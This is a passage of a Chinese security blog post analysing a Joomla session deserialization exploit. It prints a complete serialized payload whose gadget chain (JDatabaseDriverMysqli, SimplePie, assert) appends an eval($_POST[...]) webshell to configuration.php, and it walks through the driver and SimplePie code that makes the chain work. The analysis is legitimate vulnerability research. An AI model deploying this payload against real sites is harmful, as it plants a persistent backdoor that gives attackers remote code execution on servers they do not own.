yet.";s:4:"type";s:7:"warning";}}}//正常的数据__default|a:8:{s:15:"session.counter";i:2;s:19:"session.timer.start";i:1588256254;s:18:"session.timer.last";i:1588256254;s:17:"session.timer.now";i:1588256306;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"d4bc08c9cb28f7a2920ca1851c822d38";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:46:"Your session has expired. Please log in again.";s:4:"type";s:7:"warning";}}}

可以看到和正常数据不同的地方的后面也有很多类似函数的参数,把上面的格式化一下

代码语言:txt
复制
__default|a:8:{  s:15:"session.counter";  i:3;  s:19:"session.timer.start";  i:1588261345;  s:18:"session.timer.last";  i:1588261347;  s:17:"session.timer.now";  i:1588261570;  s:8:"registry";  O:24:"Joomla\Registry\Registry":2:  {    s:7:"\0\0\0data";    O:8:"stdClass":1:    {      s:5:"users";      O:8:"stdClass":1:      {        s:5:"login";        O:8:"stdClass":1:        {          s:4:"form";          O:8:"stdClass":2:          {            s:4:"data";            a:5:            {              s:6:"return";s:39:"index.php?option=com_users&view=profile";              s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";              s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";              s:9:"secretkey";s:0:"";              s:8:"remember";i:0;            }            s:6:"return";            s:39:"index.php?option=com_users&view=profile";          }        }      }    }    s:9:"separator";    s:1:".";  }  s:4:"user";  O:5:"JUser":26:  {    s:9:"\0\0\0isRoot";N;    s:2:"id";i:0;    s:4:"name";N;    s:8:"username";N;    s:5:"email";N;    s:8:"password";N;    s:14:"password_clear";s:0:"";    s:5:"block";N;    s:9:"sendEmail";i:0;    s:12:"registerDate";N;    s:13:"lastvisitDate";N;    s:10:"activation";N;    s:6:"params";N;    s:6:"groups";a:1:{i:0;s:1:"9";}    s:5:"guest";i:1;    s:13:"lastResetTime";N;    s:10:"resetCount";N;    s:12:"requireReset";N;    s:10:"\0\0\0_params";    O:24:"Joomla\Registry\Registry":2:    {      s:7:"\0\0\0data";      O:8:"stdClass":0:{}      s:9:"separator";s:1:".";    }    s:14:"\0\0\0_authGroups";N;    s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}    s:15:"\0\0\0_authActions";N;    s:12:"\0\0\0_errorMsg";N;    s:13:"\0\0\0userHelper";    O:18:"JUserWrapperHelper":0:{}    s:10:"\0\0\0_errors";a:0:{}    s:3:"aid";i:0;  }  s:13:"session.token";  s:32:"878c42d725cd32dcc52aa2ca0c848ded";  s:17:"application.queue";  a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}

Services 一文中给出所有的字母标示及其含义:

a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string

在其中的";s:8:"password";s:603:"AAA长度为27,正好为构造的payload,经过read函数的替换之后变为

之后经过一个303跳转,请求index.php/component/users/?view=login从新调用read()函数,触发payload

这里的password字段被替换为一个类

查看libraries/joomla/database/driver/mysqli.php中206行

代码语言:txt
复制
public function __destruct(){    $this->disconnect();}public function disconnect(){    // Close the connection.    if ($this->connection)    {        foreach ($this->disconnectHandlers as $h)        {            call_user_func_array($h, array( &$this));        }        mysqli_close($this->connection);    }    $this->connection = null;}

存在一个call_user_func_array函数,但是这里面的&$this是我们不可控的,所以需要取寻找另一个利用点,新调用一个对象,在libraries/simplepie/simplepie.php中

这里simplepie是没有定义的,所以需要new JSimplepieFactory(),并且在SimplePie类中,需要满足if ($this->cache && $parsed\_feed\_url['scheme'] !== '')才能调用下面的call\_user\_func,并且为了满足能够实现函数使用,需要$cache = call\_user\_func(array($this->cache\_class, 'create'), $this->cache\_location, call\_user\_func($this->cache\_name\_function, $this->feed\_url), 'spc');中的cache_name_function和feed_url为我们的函数和命令

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-06-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0CTF-2016-piapiapia中的利用代码
  • joomla中的利用
  • 漏洞复现
  • exp分析
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档